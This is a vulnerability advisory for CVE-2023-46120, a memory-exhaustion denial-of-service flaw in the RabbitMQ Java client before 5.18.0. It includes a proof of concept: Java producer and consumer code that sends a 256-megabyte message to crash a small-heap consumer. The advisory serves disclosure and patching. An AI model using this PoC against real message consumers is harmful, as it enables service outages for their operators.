CVE-2023-46120 – com.rabbitmq:amqp-client

Package

Manager: maven
Name: com.rabbitmq:amqp-client
Vulnerable Version: >=0 <5.18.0

Severity

Level: Medium

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS: 0.00421 pctl0.61206

Details

RabbitMQ Java client's Lack of Message Size Limitation leads to Remote DoS Attack ### Summary `maxBodyLebgth` was not used when receiving Message objects. Attackers could just send a very large Message causing a memory overflow and triggering an OOM Error. ### PoC #### RbbitMQ * Use RabbitMQ 3.11.16 as MQ and specify Message Body size 512M (here it only needs to be larger than the Consumer memory) * Start RabbitMQ #### Producer * Build a String of length 256M and send it to Consumer ``` package org.springframework.amqp.helloworld; import org.springframework.amqp.core.AmqpTemplate; import org.springframework.context.ApplicationContext; import org.springframework.context.annotation.AnnotationConfigApplicationContext; public class Producer { public static void main(String[] args) { ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class); AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class); String s = "A"; for(int i=0;i<28;++i){ s = s + s; System.out.println(i); } amqpTemplate.convertAndSend(s); System.out.println("Send Finish"); } } ``` #### Consumer * First set the heap memory size to 128M * Read the message sent by the Producer from the MQ and print the length ``` package org.springframework.amqp.helloworld; import org.springframework.amqp.core.AmqpTemplate; import org.springframework.amqp.core.Message; import org.springframework.context.ApplicationContext; import org.springframework.context.annotation.AnnotationConfigApplicationContext; public class Consumer { public static void main(String[] args) { ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class); AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class); Object o = amqpTemplate.receiveAndConvert(); if(o != null){ String s = o.toString(); System.out.println("Received Length : " + s.length()); }else{ System.out.println("null"); } } } ``` #### Results * Run the Producer first, then the Consumer * Consumer throws OOM Exception ### Impact Users of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer.

Metadata

Created: 2023-10-24T01:49:09Z
Modified: 2023-10-27T20:47:02Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/10/GHSA-mm8h-8587-p46h/GHSA-mm8h-8587-p46h.json
CWE IDs: ["CWE-400"]
Alternative ID: GHSA-mm8h-8587-p46h
Finding: F067
Auto approve: 1